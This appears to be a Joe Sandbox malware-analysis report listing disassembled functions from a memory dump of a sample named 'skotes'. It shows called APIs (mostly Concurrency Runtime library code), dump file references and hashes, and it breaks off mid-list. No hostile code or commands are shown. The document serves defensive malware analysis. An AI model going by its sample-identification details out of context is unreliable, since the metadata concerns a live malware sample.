Function 006226D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006226E3

Part of subcall function 006224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00622504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00622704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00622711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0062275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006227E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006227F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00622846

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: ae4b1a27a22844c15edd3faebbb9dc7b65cc0ec66df0d816028f785231c35867
Instruction ID: 0dc395f7d52568cddf563b65fa0d698e5040918ec44bd15e164d5a308eec5aa1
Opcode Fuzzy Hash: ae4b1a27a22844c15edd3faebbb9dc7b65cc0ec66df0d816028f785231c35867
Instruction Fuzzy Hash: E9819B3090466ABBDF169F54E9A1BFE7BB3AF05304F044098EC412A352C7368D69DFA1

Function 00622970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00622982

Part of subcall function 006224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00622504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006229A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006229B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006229FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00622AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00622AD8

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 820b6c6eb23eefb1f51f268f99d4022cc9b9ad91f09081adafc9cd28eee08596
Instruction ID: a1adc24982cbc2de2ce34a37e42bee00c8fc6af7f037846cd4fa5cdb2abd5988
Opcode Fuzzy Hash: 820b6c6eb23eefb1f51f268f99d4022cc9b9ad91f09081adafc9cd28eee08596
Instruction Fuzzy Hash: C0719A3090066AABDF15CF54E8A1AFEBBB3AF55308F044098EC416B392C7319D56DF61

Function 00612832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00612876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006128DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00612913

Part of subcall function 006107ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0061080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00612993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006129DB

Part of subcall function 006107C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006107DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006129EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00612A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00612A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00612A7E

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: b7a68110c0e6e0e95c401d0c0203f5512c58de8a03d317ca4719a7a1e27e5f2c
Instruction ID: eea839f2d53a83b7c22a2ecbde65f4ebf0dcca8e2c76e0e53c0733dff1782474
Opcode Fuzzy Hash: b7a68110c0e6e0e95c401d0c0203f5512c58de8a03d317ca4719a7a1e27e5f2c
Instruction Fuzzy Hash: 85819931A006579BCB18DFA9D8B85EDBBB3BF48301F28442DD446A7390E730A9D5CB94

Function 006169DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00616A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00616A51
List.LIBCONCRT ref: 00616A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00616A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00616AB9
List.LIBCONCRT ref: 00616AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00616B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00616B20
List.LIBCONCRT ref: 00616B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00616B68

Part of subcall function 00615EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00615EF7
Part of subcall function 00615EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00615F09

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: e156438cd6d6b68a4b0d149c94073ac8e84bb2e59ce79b43c562cb1c72d1b828
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 3B515F75A00219ABDB08DF64C495BEDB3B9BF48304F0844ADE915EB381DB30AE85CB90

Function 006252A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006253A0
type_info::operator==.LIBVCRUNTIME ref: 006253C7
___TypeMatch.LIBVCRUNTIME ref: 006254D3
IsInExceptionSpec.LIBVCRUNTIME ref: 006255AE
CallUnexpected.LIBVCRUNTIME ref: 00625650

Strings

csm, xrefs: 0062534D
csm, xrefs: 006252E0
csm, xrefs: 006253FE

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
